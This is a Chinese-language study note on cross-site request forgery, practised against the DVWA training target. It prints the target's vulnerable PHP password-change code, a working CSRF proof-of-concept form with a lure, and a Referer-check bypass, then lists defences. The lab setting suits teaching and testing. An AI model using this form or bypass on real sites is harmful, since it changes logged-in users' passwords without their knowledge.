WEB安全之:CSRF
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
CSRF
1 简介
CSRF 定义: 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF , 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
在已经身份认证过的用户,可以正常访问服务端资源。此时如果黑客发送一个链接,是进行上述访问的服务资源如修改密码的一个链接请求,此时此用户点击,会被执行,密码会被直接修改,因为是利用已经认证的合法身份提交的。
1.1 CSRF 与 XSS 区别
从信任的角度来区分:
XSS:利用用户对站点的信任,服务器下发的脚本在客户端浏览器执行
CSRF:利用站点对已经身份认证的信任
1.2 CSRF 的危害
在用户非自愿、不知情的情况下提交请求
- 修改账号密码、个人信息(修改已注册的email、收货地址)
- 发送伪造的业务请求(网银、购物、投票)
- 关注他人社交账号、推送博文
1.3 CSRF 产生的原因
缺少二次确认机制:
- 一般来说对于服务端而言,所有的请求都是合法的,因为已经验证了用户。但是服务端对于关键操作,缺少确认机制是发生此问题的根源(可以采用验证码机制)
1.4 漏洞利用条件
- 被害用户已经完成身份认证
- 新请求的提交不需要重新身份认证或确认机制
- 攻击者必须了解 web app 请求的参数构造
- 诱使用户触发攻击的指令(社工)
2 验证 CSRF
2.1 验证环境
靶机:meatsploitable2,dvwa,security-level: low,CSRF
WEB 服务器主机:确保靶机可以其访问 CSRF 网页
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>
2.2 搭建诱使点击网页
通过自行注册目标网站的用户,分析其 web app 请求的参数构造,并搭建诱使受害者点击的网页
csrf.html
<html>
<!-- CSRF PoC -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.100.129/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password1" />
<input type="hidden" name="password_conf" value="password1" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2.3 诱使受害者点击
将上述构造好的网页,通过社工或者其他手段,诱使受害者点击(在受害者已经登录此网站的情况下)
<img src=http://web server IP/csrf.html />
点击后,即完成了账户密码的修改。
3 Medium 级别
<?php
if (isset($_GET['Change'])) {
// Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
}
?>
查看上述源码,增加了判断referer信息,看请求中是否含有 127.0.0.1,即只能本机修改密码,如果不是则不能执行。
可以尝试修改请求数据包为 referer:http://web server IP/127.0.0.1
进行绕过
4 防御策略
- 验证 HTTP Referer 字段
- 在请求地址中添加 token 并验证
- 在 HTTP 头中自定义属性并验证
- 页面加验证码判断